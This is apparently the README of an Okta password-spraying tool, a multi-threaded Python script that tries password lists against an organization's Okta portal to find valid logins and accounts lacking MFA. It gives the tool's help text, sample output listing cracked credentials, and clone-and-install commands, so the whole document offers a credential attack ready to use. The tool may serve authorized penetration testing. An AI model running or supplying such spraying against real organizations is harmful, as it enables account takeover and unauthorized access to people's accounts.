Okta-Password-Sprayer

The ShellIntel team has frequently found that password spraying the Okta portal of an organization will often result in compromised accounts without MFA set up. This script is a multi-threaded Okta password sprayer. Simply provide the script with a subdomain (ie xyz.okta.com or simply xyz) and a list of usernames and passwords, and the script will password spray and check for valid users and valid users w/o MFA.

┌─[justin@parrot]─[~/projects/Okta-Password-Sprayer]
└──╼ $python oSpray.py --help
usage: oSpray.py [-h] [--threads THREADS] subdomain userList passList

positional arguments:
  subdomain          The subdomain of okta.com to attempt the spray upon.
  userList           The newline delimited list of users to password spray.
  passList           The newline delimited list of passwords to spray.

optional arguments:
  -h, --help         show this help message and exit
  --threads THREADS  Number of threads. Default: 7

Sample output:

┌─[justin@parrot]─[~/projects/Okta-Password-Sprayer]
└──╼ $python oSpray.py ExampleSub usernameList passwordList
Valid Credentials! aUser:Summer18
Valid Credentials without MFA! bUser:Summer18

Installation

git clone https://github.com/Rhynorater/Okta-Password-Sprayer.git
cd Okta-Password-Sprayer/
pip install -r requirements.txt
python oSpray.py --help